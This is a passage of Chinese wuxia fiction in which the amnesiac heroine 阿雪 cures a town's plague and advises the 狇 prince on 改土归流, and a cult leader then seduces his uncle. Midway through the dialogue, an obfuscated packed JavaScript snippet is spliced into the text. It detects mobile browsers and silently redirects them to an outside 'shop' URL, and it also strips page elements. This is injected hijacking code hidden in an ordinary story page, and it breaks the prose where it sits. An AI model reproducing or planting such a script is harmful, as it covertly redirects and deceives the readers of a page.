说着,巫师手指军旗,只见一方猎猎舞动旌旗之上,赫然绣有一个“狇”字。 “你怎么知道这些士兵是来帮你的?” “笑话!南教是滇南第一大帮,历代黔国公对南教推崇备至。你以为我昨日为什么放你走?我就由得你在石溪镇四处查探?” “原来你是派人去搬救兵。” “只怪你运气不好,碰巧狇王府的狇清世子带兵途径这里,我凭南教巫师的身份开口,他自然帮忙。” 说罢,只见层层包围的军队分列两侧,让出一条通路,一人在士兵簇拥下策马徐徐前来。 这是一位二十出头的年轻人,头梳汉人发髻,一身素蓝汉服之外再披雪貂裘服,虽外貌文雅,其策马之姿却也不失英气。 “世子爷,你可来了!”巫师立即奔下祭台,一脸谄媚笑迎狇清世子,同时不忘手指阿雪,“那便是捣乱的罪魁祸首,赶紧将她拿下!” 狇清世子不为所动,只是冷眼看着巫师。 “世子,我此行可是受了教主之命,你不给我面子,也得给教主面子吧?”巫师刻意压低声音,却难掩其狐假虎威之势。 而这一番话似乎点中狇清世子痛穴,只见狇清世子眼神几番闪烁,最终温和下来,对着巫师颔首一笑。 一瞬间,狇清世子腰上佩剑已然出鞘,寒光一闪,巫师跌倒在地,颈上血液喷薄而出。 “大明律令,凡妖言惑众、煽动百姓者,斩——” 长剑破空,一声怒吼间尽显英勇赤诚。 10. 片语化迷津 倾盖如故旧 自南教巫师被就地正法之后,已过一日。由于狇府世子带来兵马,迅速镇压南教残余匪人,平复暴乱之势,石溪镇逐渐恢复秩序,但瘟疫救治仍旧任重道远。 虽说阿雪从南教巫师手中夺得解药,但解药数量极少,根本不足以控制疫情。那日,阿雪当众饮下毒水,虽有解药在手,却不服下,反而将解药交给镇上大夫,一同分析解药成分,商讨治疫药方。宋大夫提出以《普济方》中安肺散为基础,用以平息咳喘,辅之黄芪甘草,用以补气行血,但只能缓解症状,无法彻底解毒。 “这药丸……”阿雪从药丸上取下些许粉末,仔细闻辩,“有一股香气清甜绵长,通脉灵神,这是……雪莲?” 被迷雾笼罩的记忆掀开一角,伴随剧烈头疼,有些画面一闪而过,阿雪尝试捉住这些画面,却无果,只能强忍头疼不适。 “不错,雪莲能解世间百毒,的确是解毒良药,只是……”宋大夫面露难色,“滇南虽不乏奇花异草,可雪莲乃是世间奇珍,只生长在玉龙雪山深处,且经五十年开花,五十年结果,数量稀少,根本不足以解全镇之毒。就算现在派人前去玉龙雪山采摘,只怕远水不解近渴。” “如果雪莲不行,那胡莲怎么样?” 原本在一旁默不作声的阿凉突然开口。 “胡莲?” “不错!”面对众人质疑的目光,阿凉更加坚定语气,“胡莲是苗家常用草药,不仅可以平热止咳,更能解体内邪毒。虽然效用不及雪莲,但好在数量多,山涧河谷都有生长。” 此言一出,众人面面相觑,虽然这些大夫定居滇南,也从苗民口中听过胡莲之效,但汉家医书未有记载,众人遵循祖宗之法,实在不敢轻易尝试。 “我看可以一试。”最终,还是阿雪开口打破沉默,“眼下情况危急,必须当机立断,纵然我等想要谨慎行事,只怕病人等不得。” “可是……” “自古以来,所有药方都要经过千百次尝试改进,方能确定疗效。眼下我身中此毒,可先行试药。若真有效用,再用于其他病人。” 此言一出,众人静默。世人常言女子柔弱、不堪重用,岂料眼前这位自称归海的女子,不仅胆识过人,更有一片侠骨丹心,不输男儿。 “老夫……”宋大夫双手作揖,深深一拜,“代全镇百姓谢过归海姑娘!” 于是,阿雪住进莲生药堂后院,按照商定药方试药。起初仍有不适,宋大夫及时调整药方剂量,反复试验,所幸三日后症状已有减轻,到第五日已可下床行走,证明药方有效。 消息一出,全镇欢欣鼓舞,阿雪心中亦是大喜。她是闲不住的性子,经过几日休养,吃了几服药之后觉得身体已然康复,也不顾多多休息的医嘱,换上之前所穿的苗家男装,打算偷溜去药堂帮忙。 阿雪刚走出房门,忽觉脚下异常,低头一看,只见门边放着一束野花,拿起一看,花瓣上还有露珠,显然今日摘下。阿雪正觉得奇怪,忽听得一声呼唤。 “阿雪?” 阿雪循声望去,原来是阿凉走来。 “哎呀,你身体刚好,怎么就起来了?” 阿凉担心风寒,赶紧拉着阿雪到避风之处。这一亲密的举动引起阿雪注意,她巧力挣脱阿凉的手。 “我已经没事了……”阿雪想起手上的花,一种不好的预感油然而生,小心问道,“这花是……” “这是小玉她们送你的。” “小玉?” 阿雪沉思片刻,想起小玉正是镇长的女儿,那日差点被抓去火祭,好在被阿雪及时救下。阿凉笑道: “那天被救下的女孩儿们都想感谢你,但是这几天你在养病,宋大夫担心扰你休息,就不让旁人来。于是她们就每天采一束花放在门前,祈祷你快些好起来。” 阿雪闻之心头一暖,她出于心中侠义救人,而被救的百姓也以最朴素诚挚的心意回报她。 就在此时,前院传来一声呼唤,阿凉也随即回应。 “出什么事了?”阿雪急忙问道。 “没出事,你别着急!”阿凉笑着安慰,“镇长集结了镇上的年轻人去山里采药。虽然胡莲有效,可病人太多,药材实在不够用。我自小在山里采药,熟悉地形,所以镇长让我来做向导。” “这次真是多亏你!”阿雪见阿凉如此可靠,欣慰地拍了拍他的肩膀,“想到以胡莲取代雪莲,没想到你对药材如此了解。” “我自小长在深山,又以采药为生,多少懂一些,没什么的。”阿凉羞涩地挠挠头,“只要……能够帮上你就好!” “这……自然是帮上的,全靠你又救我一命。”阿雪见阿凉神情,颇感尴尬,急忙转移话题,“其实你对药材如此了解,可以留在镇上跟随宋大夫学习医术,定有大成,将来造福一方……” “我留下来,那你呢?”阿凉一口打断阿雪,再一次眼神恳切地望着她,“你会留下来吗?” “对不起!我一定要去找归海一刀!” 纵然心中猜到答案,阿凉仍是心怀一丝希望,得到的却是更为冰冷坚定的回绝。随后,两人皆陷入久久沉默。最终,一声呼喊打破沉默。 “请问归海姑娘可在?” 二人循声赶去前厅,只见一队士兵,为首军官一见阿雪,毕恭毕敬行礼。 “我等乃狇清世子座下近卫,奉世子之名,请归海姑娘往营中一叙。” 几日以来,狇府兵丁驻扎在镇外河谷,阿雪被一路指引,很快来到世子营帐。 账内灯火通明,乍一看与寻常行军营帐并无二致,除去四角高架火盆,两侧排列兵器之外,正中央赫然一幅羊皮地图,地图之前,摆放一张红木长案,案上笔墨书砚一应俱全,狇清世子端坐案前,正捧着一本《春秋公羊传》阅读。狇清一见阿雪,便放下手中书本,执起案上折扇,上前相迎。 “民女拜见世子。”阿雪料想世子已探听得知自己的女儿身,便未隐瞒。虽自称民女,举手投足仍是习惯男子做派,所行之礼也是汉人男子揖礼。 对此,狇清并未表现惊讶疑虑,面上依旧温和笑容。 “姑娘不必多礼,深夜请姑娘前来,原是我叨扰。请坐!” 说着,狇清引导阿雪坐下,又命下属奉茶。 “不知世子深夜召民女前来,所为何事?” “狇清斗胆请教姑娘芳名,可是复姓归海?” 这一问倒真让阿雪摸不着头脑,眼下她对过去一片空白,这位狇府世子又意图不明,她在心中思量是否要隐藏姓氏,但转念想到狇清既能说出“归海”二字,想必对她已有探查,索性大方承认。 “正是。” “哦……” 这一声意味深长的叹息,让阿雪更加疑惑,难道自己失忆之前已与这位狇府世子相识。 “今夜请归海姑娘前来,是为致谢。此次石溪镇瘟疫得以平息,全靠姑娘智谋胆识、仗义相救,狇清在此,一谢归海姑娘救我滇南子民!” 说罢,狇清起身朝阿雪深深一拜。 “世子言重!”阿雪也连忙起身回礼,“民女只是略尽绵薄之力。说到底,大疫之灾,百姓无力自救,这才需要官府统筹救灾,若是能够早些出手,就能减少许多病亡人数。” “归海姑娘这是在怪狇清来迟了?” “民女不敢。此次全靠世子计策,擒获南教贼人,平息暴乱,石溪镇才得以恢复秩序。” 这一番话并无恭维之意。事实上,那日阿雪在镇外查出石溪镇瘟疫来源之后,即撞见狇府军队。起初,双方僵持,互不信任,最后还是这位狇清世子果敢,信任阿雪,提出计策,由阿雪大闹祭台,当众揭穿南教巫师面目,再由狇府军队一举擒拿,方能名正言顺。这几日来,阿雪虽然在内室养病,但同前来送药的宋大夫和阿凉交谈,得知这位世子每日亲临药堂,或是询问治疫情况,或是调配药材物资,便知他心系子民,绝不是庸碌无能的世家子弟。但阿雪回想那日南教巫师所说的话,猜想狇王府与南教关系绝不一般,而石溪镇瘟疫正是南教密谋策划,可若狇王府与南教是一丘之貉,为何出兵平息暴乱,治理瘟疫?阿雪想不明白。 “归海姑娘可知黔国公府?” “略闻一二。” “黔国公府立足滇南已有数百年。”狇清骄傲道,“前朝动乱末年,滇南分裂自成一国。太祖建明之后,狇氏先祖率领滇南众土司归降,得赐‘黔国公’,统帅五万守军,总领滇南。说起来,狇王府也算得上一方诸侯,可归海姑娘想过没有,为何我这狇府世子要亲自赶来石溪镇治疫救灾?” “这……” “以地域而言,石溪镇归属通州管理,瘟疫发生以来,通州土司封锁要道,却未派一兵一卒前来救灾,甚至放任南教巫师妖言惑众,如此勾结贼人,草菅人命,理当治罪。可实际上,我根本无法动他,归海姑娘可知为何?” 说到此处,狇清只能苦笑一声。 阿雪自然明白其中道理。所谓天下大势,分久必合,合久必分。千年前,西周天子封邦建国,开疆扩土,却不料诸侯异心,裂土而分,相互攻伐,才惹得五百年春秋乱世。再看如今,明面上狇王府总领滇南,可实际上滇南辽阔,各路土司各自为政,不听号令,恐怕早已生离异之心。可见天下大势,周而复始,万变不离其宗。 “也许皇帝陛下同样忧虑于此……”世子似乎一眼看穿阿雪心中所想,接着说道,“这才推行改土归流。” “改土归流?” “简单来说,改土归流是削去包括黔国公府在内的滇南一众土司封地实权,由朝廷委派汉人流官治理,均田定税,传播文教。” “这是好事。” “自然是好事。可滇南一向由土司治理,陡然削藩,各路土司必生异心。” “民女却认为,这些土司不足为惧,说到底不过是些一方恶霸,井中之蛙,怎敌得上黔国公府手中五万守军?” “归海姑娘意思是说,若黔国公府谨遵圣旨,则改土归流可成;若怀有异心,必为大患。可姑娘想过没有,我狇王府百年来镇守滇南,从无劣迹,百姓拥戴,为何如今却要将封地军权拱手相让?” 一阵寒风涌入账内,扰得盆火忽明忽灭,狇清面色也在火光映照下阴晴不明,难以分辨。 刚才阿雪的一番话只为试探,如今看来恐怕打草惊蛇。她孤身陷在军营之中,虽有一身武功,却无十分把握可以全身而退。阿雪看着狇清眼中逐渐显露的寒意,忽地爽朗一笑。 “世子若心中真是这样想,就不会说与我听,更不会亲自率兵擒杀南教贼人。既然并无歹意,何必吓唬我?” 眼见自己的小小恶作剧被识破,狇清也不恼,反而顽皮一笑,大方承认: “归海姑娘果然聪慧!不过归海姑娘,何以如此肯定我对朝廷绝无异心?” “我记得那日南教巫师曾说,他目的是借石溪镇瘟疫,挑拨汉苗冲突,为南教立威。可我听说,南教乃滇南第一大帮,本就无须多此一举,由此可见,立威是假,挑拨离间才是真正目的。再听世子所说,我斗胆猜想南教是借机引发汉苗冲突,挑拨民心,抵制改土归流。” “此话在理,可姑娘何以肯定我没有异心?不要忘了,若是改土归流事成,狇王府必定权位不保,而我也是那南教巫师请来的。” “的确,素闻狇王府与南教颇有渊源,可若世子真与南教狼狈为奸,又何必出手相救?若是有意假借南教之手,笼络民心,大可等到尸横遍野再来。可见,父命不可违,忠义自在心。” 狇清没有料到,眼前这位女子仅凭寥寥几句话,就能将形势推析得如此通透,他更没想到,原本一直深埋内心的、连父亲都不曾了解的想法,竟被这位汉家女子一语中的,不由得开怀大笑。 “清肌莹骨能香玉,艳质英姿解语花。姑娘果然冰雪聪慧!”狇清继续笑道,“狇清幼承庭训,自然明白忠君护国之理。可狇王府毕竟百年基业,若是眼睁睁看着就此覆灭,心中实在不忍,更怕他日泉下无颜面对先祖。狇清心中实在困惑,却无人倾诉,只好向姑娘求教。” “居延城外猎天骄,白草连天野火烧。暮云空碛时驱马,秋日平原好射雕。” 阿雪忽然朗声吟诗,至半而停,目光看着狇清手中折扇,只见扇面之上以疾劲笔触题诗一首,狇清心中了然,接到吟起。 “护羌校尉朝乘障,破虏将军夜渡辽。玉靶角弓珠勒马,汉家将赐霍嫖姚。” “此诗乃是王维之《出塞作》,乃是唐军大败吐蕃、王维出塞宣慰所作。至于此扇……”阿雪再看狇清手中折扇,眼中溢满敬仰之情,“太祖十五年,蒙古梁王兵败退至曲靖,割地为王,太祖发兵讨伐,行至乌蒙山遇袭,得狇王爷率兵相救。后两军联手,于小江谷大败梁王,收复失地。狇王爷因功追封黔宁王,得太祖所赐亲笔题扇,此扇被奉为狇府历代传世之宝,没错吧?” “正是!” 狇清不得不佩服眼前这位女子。要知道,以狇清的身份,以往也见过不少世家女子,其中不乏书香门第,但说到底只是深闺名媛,所学不过诗词歌赋、琴棋书画,而如此博学广闻、甚至王府秘史皆了若指掌之女子,实属罕见。 “请问世子,汉家将赐霍嫖姚所指为何?” “霍嫖姚自然是西汉名将霍去病,至于王维诗中,乃是指唐时河西节度使崔希逸将军。” “不,我倒认为是指先祖黔宁王爷。” “此话何解?” “梁王叛乱,太祖征伐,当时狇王爷已受封一方诸侯,大可隔岸观火,或是乘机兴兵作乱,谋渔翁之利。可狇王爷选择出兵相助,与大明共同对敌,可见忠义护国之心。狇王爷出兵有功,太祖不赐金银珠宝等俗物,反而亲笔题诗,将黔宁王爷比作汉将霍去病,奖其军功,赞其忠勇,而黔宁王爷亦将此扇奉为家宝,警醒后世子孙不忘忠义之心,如今又怎会因世子维护江山统一而加以责怪?” “这……” “改土归流既是圣旨,也是大势所趋。改土归流,不但可确保大明西南边陲稳固,更能促进滇南与中原往来,文教昌明,此乃功利千秋之举。狇王府若顺应时势,可保世代忠勇之誉;若逆势而为,怕是只能落得叛国贼子的恶名,其间权重,想必狇府各位先祖泉下当知取舍,此乃其一。 “其二,世子若是不遵改土归流,只有兴兵反叛一途,如此一来,滇南虽然地广物博,狇王府更有五万守军,但相较大明天威,实乃沧海一粟,毫无胜算;二来,滇南与中原商贸往来已久,滇南货殖大多仰赖中原,战事一起,商旅不行,百姓受难;三来许多汉人迁居滇南,与苗人兄弟血脉相融,已成一家,陡然兄弟相残,不得民心。世子爱民如子,想来不愿见此情景。 “其三,滇南各路土司存有异心,划地为王。若狇王府举兵反明,与朝廷公开抗衡,鹬蚌相争,各路土司乘机坐大,只能加剧滇南分裂,对狇王府而言,实在百害而无一利。 “其四,狇王府镇守滇南百年,世代忠勇,朝廷自然看在眼里,皇上也不会赶尽杀绝。若能主动献出封地军权,尚可保得爵位俸禄,子孙平安;若是执意作乱,只怕不得善终。” 说至此处,阿雪停了停,稍稍平复因一番慷慨陈词而急促的呼吸,再度开口: “世子,可还有疑虑?” 狇清无法即时回答,他静静注视手中折扇题字,复又收拢,在账内来回踱步,夜风再起,只是已不如刚才寒冷,账内火光明灭反复,狇清的身影映在火光中,几番摇摆挣扎,最终长舒一口气,像是将胸中郁结尽数吐出。 “姑娘一席话真如醍醐灌顶,令狇清茅塞顿开。” “世子言重!其实世子心中早有取舍,只是受祖先基业所困,无法决断。” “无论如何,多亏姑娘提点,狇清在此,二谢归海姑娘妙语解惑!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292474|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说罢,狇清对着阿雪又是深深一拜。 “日前,狇清眼见归海姑娘治理疫灾,医术精湛,武功胆识更是过人。今日再看,姑娘才学见识更加令人钦佩。说到这里,狇清有一事不明。” “何事?” “斗胆请教,归海姑娘师从何处?” “这……” “姑娘不必担心,我见归海姑娘武功过人,满腹才学更是远胜一般汉家女子,这才有些好奇。” 阿雪实在不知该如何回答。眼下,她连自己真实姓名尚且不知,遑论师门。刚才的一番言论,阿雪的确有感而发,不过正如狇清所说,其间展现的才学见识、外加武功医术绝非普通汉人女子能有,那么自己又是从何处学来这些本事? 阿雪苦苦思索,脑海中似乎又浮现一些画面,有堆积如山的卷轴、有巍峨庄严的宫殿、有一位严肃又和蔼的中年男子,正不厌其烦地教她读书习武,而她的身边亦有两名年纪相仿的少年,他们是…… 正当阿雪快要想起这两位少年名字之时,记忆的迷雾再次涌现,裹挟着她抛到一片虚空之中,只剩犹如车裂之刑般的疼痛。 狇清似乎也看出阿雪的不适,连忙改口道: “看来是我强人所难,若姑娘实在不便相告,也不必勉强。” 过了好一会儿,阿雪才从头痛中恢复过来,一抬眼,看见狇清温和的面容。刚入军营之时,阿雪充满戒备,又见狇清世子听到她说复姓归海之时的奇怪反应,心中更是三分疑惑,七分警醒。阿雪曾怀疑自己失忆之前,或许与这位世子相识,若是相识,不是朋友便是仇人。若是朋友,早该相认,不该如此种种试探;若是仇人,大可下手杀了她,不必等到现在。虽左思右想得不出答案,但经今夜一谈,阿雪判定这位狇府世子当是一位正人君子,索性坦言道: “实不相瞒,一个月前,我遭遇变故,眼下记忆全无,甚至不知道自己是谁,来自何处。” 狇清显然也没有料到会是这样的答案,呆愣好一会儿,才继续开口问道: “那姑娘的这一身本领?” “关于这一点,我也想知道。”阿雪无奈苦笑,“为何我对自己的过往、有多少家人朋友一概不知,偏偏却记得这些本事?或许,正如世子所言,我的确不是普通的汉家女子,或许正是靠着这些本事谋生。” “可姑娘自称复姓归海……” “归——海——一——刀——”阿雪将这名字一字一顿地清楚说出,“这是我唯一记得的名字,如此刻骨铭心,想来我和他不是家人,便是仇人。” 这一下,狇清面上惊讶更是明显,阿雪自然看在眼里,心中疑惑更是得到印证,急忙开口问道: “世子可是认识归海一刀?” “难怪……难怪……”狇清恍然大悟,口中反复念道,“归海这姓氏如此少见,我还奇怪为何一时间滇南竟来了两位复姓归海之人……” “世子……”眼见狇清似乎明白什么,却迟迟不说出口,阿雪不禁有些焦急。 “哦,是在下失仪!”狇清回过神来,拱手致歉,“我并不认识归海一刀,但他的大名倒是如雷贯耳。” “他是?” “他就是当今皇帝座下大内密探地字第一号、护民山庄四位庄主之一的归海一刀大侠,听说他刀法卓绝,当今武林无人能及。” 大内密探、护龙山庄,这些本该陌生的词语再一次刺痛阿雪的头脑,她强忍不适,催促狇清继续说下去。 “可是……”狇清此时却变得吞吞吐吐,他小心翼翼地看着阿雪神色,犹豫半天,才开口道,“据我所知,成为护龙山庄密探条件之一是孤儿。换句话说,大内密探没有家人。” 短短一句话,让阿雪原本雀跃的心情跌至低谷。自醒来之后,她只记得归海一刀,所思所想也是如何找到归海一刀,她以为归海一刀是她人生的依靠,只要找到归海一刀就能找回过去。可如今重新审视,她想起石老板所说归海一刀习武复仇、绝情绝义的过往,想起自己这一身不同寻常的本事,今夜更听说他大内密探的身份,种种信息拼凑出一个她最不想面对的结论,难道真如阿凉所说,她苦苦追寻的过往只有血腥杀戮和无尽仇恨? “我想姑娘不必如此苦恼。”狇清似是看出阿雪心中所想,连忙劝慰道,“大内密探虽无家人,但行走江湖,自然要结交朋友,过命之交也不足为奇。或许……” 狇清已然编不下去,他虽是世家公子,却非耳塞目闭。相传护民山庄归海一刀性情冷酷,无亲无友,一年前的魔刀杀人事件,虽然证明并非归海一刀亲手所为,但也足以见得其狠辣杀性,江湖有目共睹,这样的人怎么会有过命之交?其实,比起这一套说辞,狇清心中另有一种答案,除去医术武功可以证明她是本领不凡,再加上刚才她所说出的王府秘史以及一番利弊分析的言论,更能证明她与朝廷千丝万缕的关系。如此想来,答案似乎呼之欲出,但又无十分把握,狇清眼见这位女子为自己一片空白的过去苦恼,宽厚如他,不忍再说出似是而非的答案,惹她心烦,最终将心中想法瞒了下来。 “那么,世子可知归海一刀现在何处?” “姑娘这是……” “我一定要找到归海一刀!” 阿雪一扫心中阴霾,语气更为坚定。纵使要寻找的是无半分光明的过去,她也选择面对,她不愿再忍受这样迷蒙的记忆和空白的人生。 “既然如此,我就如实相告。据我打探消息,归海一刀的最后一次行踪是在临州。” “临州是在……” “临州距此地百里,若向西南翻过凤鸣山,不出十日即可到达。不过凤鸣山被巫帮占据,他们多年来抢劫沿途旅人,所以这条路凶险异常,我劝姑娘不要冒险。如果绕过凤鸣山,走东川路,最迟一个月也能到达临州。” 说到此处,狇清特意停了停,仔细观察阿雪面上表情,才再度开口: “我此行原本也是要去临州,姑娘若是不嫌弃,不妨同行。” 阿雪心中惊喜,正想答应,却又立刻警醒过来,她隐隐察觉这位世子似是向她下套,莫非今晚谈话种种都是在为这句邀约铺垫? 狇清也察觉阿雪的戒备,宽和一笑,赞叹道: “姑娘果然机警!实不相瞒,我此行原本是想去临州看望一位朋友,途径石溪镇,得知瘟疫之事,这才耽搁下来。眼下滇南多事,狇王府又巨变在即,狇清纵想一展心中宏图,奈何身边并无赖以仰仗之才。我见姑娘医术精湛,武功高强,足智多谋,于是厚着脸皮再问一句,姑娘可否再助我一臂之力?” “世子想收我为幕僚?” “不知姑娘意下如何?” “承蒙世子赏识!只是自古贤臣良将,皆悉男子。我一介女儿之身,恐怕不配担此殊荣。” 这是推托之词,狇清心中明白,阿雪敢于对抗南教巫师,救治瘟疫,拥有如此胆魄才识之人,哪里还会在意什么男女之分?说到底,狇府变故,乃是自家权势之争,本就不该累及外人,更何况阿雪身为汉人,出手救助石溪镇,已是侠肝义胆,自己哪有道理再多强求? “可倘若事关滇南百姓福祉,力所能及,我定义不容辞。” 如此回答,倒让狇清始料未及。狇清自知他的请求强人所难,若是被拒绝也无话可说,却不想…… 阿雪眼见狇清一脸吃惊的样子,坦然笑道: “我既已管了这闲事,再多管一件也无妨。我虽非王府幕僚,却仍是大明子民,更何况……” 阿雪双目直视狇清,目光坚定道: “习武学医,为的便是行侠仗义、惩恶锄奸。” 阿雪不知自己怎么会说出这句话,她想不起这句话是谁教给她,或是她曾对谁说过,但这就像其他模糊却深刻的记忆一样,不经意地在脑海中浮现,叫她深信不疑。她决定,若是过去当真只有杀戮仇恨,那就从此刻开始改变。 11. 妖妇施狐媚 玉女争意气 在石溪镇的疫情逐渐稳定消减之时,可将目光转向他处。 由石溪镇向南数百里,有一座古城名为大理。自唐时,南诏受封,一统滇南,以大理为都,这座古城的基础由此奠定。数百年后,明太祖时,滇南土司狇氏一族率众归降大明,受封黔国公,建府大理,开始狇王府在滇南的一百多年历史。百载春秋更迭,狇王府屹立不倒,与大理古城一同见证江山沉浮。而在滇南百姓眼里,狇王府统治百年,历代黔国公励精图治、爱民如子,就是百姓认定唯一君主。然而近二十年来,狇府主人狇英王爷逐渐荒废政务,任凭滇南各路土司势力坐大,抢占田地,掠人为奴,苛捐杂税,百姓苦不堪言,再加上滇南与中原商贸频繁,文教日兴,百姓知晓大明天威,与之相对,他们心目中狇王府不可撼摇的威望也在如堤溃蚁孔一般渐渐被侵蚀。 好比今日,已是距离府中二王爷与世子出行前往丽州赴宴的一个月后。狇王府建府百年,其府邸宏伟华丽自不在话下,红砖黄瓦,飞檐雕栋,然而许是少了当家之人坐镇,府中一应人等皆懒散怠惰,就连门前的两棵百年巨槐,明明时值仲夏,却落叶萧萧,整个府邸仿佛由内而外透着一股腐朽衰败气息。虽然当今黔国公狇英王爷仍在府中,可他年老病重,不能下床,日常起居的屋子被各种药味熏得昏天黑地,就连服侍丫鬟也不愿过多接近。 然而在狇王府东南侧,却有一座隐蔽院落,虽占地不大,却布局精巧雅致,花木扶疏、回廊叠石,院中有一湖心亭,此刻,亭中正有一红衣女子端坐,轻抚古琴。这女子身形高挑,发髻半挽,如瀑布般的青丝垂落身后。她似乎有些上了年纪,妆容极淡,眼角隐约可见些许细纹,却难掩天生丽质,她的指甲染得鲜红,玉指在琴弦上反复拨挑,一曲清丽哀婉的琴音荡漾开来。 “杨柳青青江水平,闻郎江上唱歌声。 东边日出西边雨,道是无晴却有晴。” 女子边弹边唱,其声如泣如诉,情真意切,若旁人听来怕是不禁落泪,只是又不禁奇怪,本是讲述少女情窦初开的词曲,为何能够唱得如此哀怨? 女子正自弹唱,忽然间似是察觉什么,眼神一冷,玉指一拨,一根琴弦应声而断,化为暗器射出,击中水边一处茂密的凤仙花丛,霎时间,鲜红的花叶飞散,而原本借花丛隐藏之人也不得不现身。 这是一名中年男子,身形高大,脸庞英俊,一身戎装,身披虎皮披风,腰挂玄铁宝刀,他面上有些许倦色,似是长途奔波所致,但仍旧身姿挺拔,威武不减。 此人正是狇府二王爷狇雄,而亭中弹唱的女子则是南教教主花白凤。 “谁允许你偷听的?” 花白凤的声音瞬时变得阴冷无比,完全不见原先的哀婉动听。而狇雄只是苦笑一声,道: “这首曲子你唱了二十年,从来不是为我而唱。既然不是唱给我的,听了又何妨?” 狇雄虽是苗人,但好歹世家出身,汉人诗词多少懂些,更何况二十年来听她反复弹唱。狇雄自然知道诗中所指,曲中所思,所以才更加心痛。可即使痛苦,却仍是放不下。 花白凤面色更沉,她挥袖一拂,扫落案上鲜花,掌风裹挟无数花叶扑向狇雄。花白凤掌力沉厚,花叶呼啸生风。狇雄被迫纵身一闪,只听轰隆作响,身后假山已被击碎,尘土飞扬。狇雄余悸未了,又见花白凤已飞身向他扑来,五指红甲当头抓下。狇雄身形一扭,躲过当头一抓,反手去擒花白凤肩胛。其实他本可拔刀,亦或是出拳反击,怎奈心中不忍。可花白凤并不领情,右袖一扫,拂向狇雄胸膛,左手如鬼爪从袖中探出,掐他咽喉。狇雄毫无防备,被扫中胸口,气血翻涌,又见利爪伸来,急忙使出一招“盘龙绕步”躲过。 狇雄堪堪躲过杀招,他并不想与花白凤争斗,于是施展轻功,大步连踏,无奈花白凤如影随形,紧追不放。只见花白凤红衣飘飘,身如落花,看似优美,实则招招狠辣,反之狇雄一昧隐忍,连连退让,二人从湖边斗至半空,又从半空斗至湖心凉亭。狇雄被逼至亭角,再无退路,可花白凤毫不留情,一记“幻阴指”射他双目,狇雄吓得侧头躲闪,花白凤顺势横掌一扫,“啪”的一声,袖角扫中狇雄脸庞。狇雄只觉得脸上火辣辣,似被扇了一巴掌,再也忍无可忍,左臂横肘撞向花白凤肩头,右拳一记“黑虎掏心”,直冲腹部。这两招皆是拳法之中刚猛杀招,但狇雄知道花白凤武学深湛,定能轻易化解,岂料花白凤动也不动,既不躲闪,也不出招阻挡。狇雄明知花白凤有真气护体,但他哪里舍得打她?可高手过招只在瞬息之间,收力已来不及,狇雄只好脚步一旋,扭转拳头,拳风擦着花白凤的身体而过。可如此临阵变招不仅搅得狇雄内息全乱,差点扭伤手肘,还将胸前空门大开。此时花白凤只需往狇雄胸口大力一拍,狇雄必死无疑。可花白凤并未出手,反而身子一旋,如同一片飘落的花瓣,悠悠倒下。狇雄吓得赶紧去接,花白凤顺势抱住狇雄的脖子,二人就这样跌坐亭中。 花白凤靠在狇雄怀中,玉指缠绕狇雄颈间长发,捻起发梢往狇雄面上撩拨,娇媚道: “怎么?又吃醋啦?” 狇雄没有说话,只是目不转睛地看着怀中这位上一刻还想取他性命、现下却向他投怀送抱的美人。 花白凤见狇雄反应如此冷淡,生气地推开狇雄,支起身子,道: “你一去一个月,眼下刚回来,半句好话不说就一个劲地吃醋,有你这样的情郎吗?” 狇雄知道她佯装生气,却还是不禁心头一软,讨好道: “我这不是一回来就看你来了吗?” 的确,眼下狇雄甲胄未卸,面上因烈日曝晒的红印还未消散,一看就是长途跋涉、刚刚归府。 花白凤见此,也不再生气,又靠回狇雄怀中,食指却指着他的心口,嗔怪道: “你去了一个月,一点音信没有,就不知道人家担心你。事情可还顺利?” “我按你的吩咐,把那宴会搅了,游赋得也不敢拿我怎样,其他土司看着风头,自然会向我们靠拢。” “还是小心些吧!游赋得毕竟是皇帝钦点的宣慰使,想来不止这点能耐。” 说到此处,花白凤抬起头,双目直视狇雄,问道: “说起来,狇清呢?他怎么没一起回来?” 狇雄心下一沉,却还是强作镇定,道: “我们半路上分开了,他说要去临州找阿羽。” “去临州早该到了,怎么我收到消息他人在石溪镇?”花白凤又瞪了狇雄一眼,“果然啊,你们男人都没有一句实话。” “我没有骗你。石溪镇是官道枢纽,要去临州必定经过那里。而且……” 狇雄顿了顿,石溪镇的消息已传到他耳中,那么花白凤也自然知道,他小心翼翼地观察花白凤的脸色。 “阿清是狇府世子,他这么做也无可厚非。说到底……也不必赶尽杀绝。” “你什么意思?”花白凤的声线再次冷了下来,比起刚才更多了几分杀气,“你想说我……心肠恶毒?” 花白凤右手顺着狇雄的胸膛往上抚摸,瞬间掐住狇雄的脖子,血红的指甲嵌入皮肉之中。 狇雄不再躲闪,甚至像是感觉不到疼痛与窒息一般,任由她手下越发用力,悲凉道: “我从未说过这话,伤你的人不是我。” 这句话似乎击中花白凤心中最痛处,她的面色瞬间凝滞,不由得松开右手。许久,忽地纵声大笑,笑声极是放荡。 “哈哈哈,你们男人可真是爱吃醋!以前你哥哥是这样,如今你也是这样。” 这下,狇雄的脸色更加难看。以前,他的哥哥狇英王爷大权在握之时,她和哥哥在一起;眼下,哥哥重病,大权旁落,她又投向自己。狇雄对这一切心知肚明,但仍旧选择沉默,却不想她竟主动说出。 “阿清只是小孩子不懂事,我自然不会计较。” 花白凤双臂如蛇一般缠上狇雄脖颈,朱唇也游移至他的耳边,像蛇吐信子一样轻舔他的耳廓。 “不过,也不能由着他胡闹下去,你去把他带回来,再把其他碍事之人解决掉,此事就一笔勾销,如何?” 狇雄没有即时回答,花白凤见状,双臂揽得更紧,柔软的曲线紧贴狇雄的身体厮磨,她的前额抵住狇雄的侧脸,湿热的气息吹拂他的鬓角。 “我可是在为我们二人着想。若是真由得改土归流推行,狇王府地位不保,狇清尚可继承爵位俸禄,可你就一无所有,到时候我们二人如何双宿双飞?所以,为了我们的将来,牺牲几个人也是在所难免。” 